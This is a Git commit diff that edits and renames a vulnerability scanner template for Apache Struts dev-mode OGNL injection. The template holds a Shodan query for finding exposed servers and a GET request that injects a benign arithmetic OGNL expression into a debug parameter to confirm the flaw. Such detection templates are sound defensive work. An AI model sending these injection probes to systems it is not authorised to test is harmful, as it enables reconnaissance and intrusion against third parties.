Update and rename vulnerabilities/struts-dev-mode-ognl-injection.yaml to vulnerabilities/backdoor/struts2-ognl-backdoor.yaml

patch-1
Prince Chaddha 2022-11-18 19:33:59 +05:30 committed by GitHub
parent 19a0804d6c
commit dcc602cc19
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 9 additions and 4 deletions

View File

@ -1,4 +1,4 @@
id: struts-dev-mode-ognl-injection
id: struts2-ognl-backdoor
info:
name: Apache Struts Dev Mode OGNL Injection
@ -10,18 +10,23 @@ info:
metadata:
verified: true
shodan-query: html:"Struts Problem Report"
tags: apache,struts,ognl,misconfig
tags: apache,struts,ognl,misconfig,injection
variables:
first: "{{rand_int(1000, 9999)}}"
second: "{{rand_int(1000, 9999)}}"
result: "{{to_number(first)*to_number(second)}}"
requests:
- method: GET
path:
- '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{7*7}}'
- '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'
matchers-condition: and
matchers:
- type: word
words:
- '[[49]]'
- '{{result}}'
- type: status
status: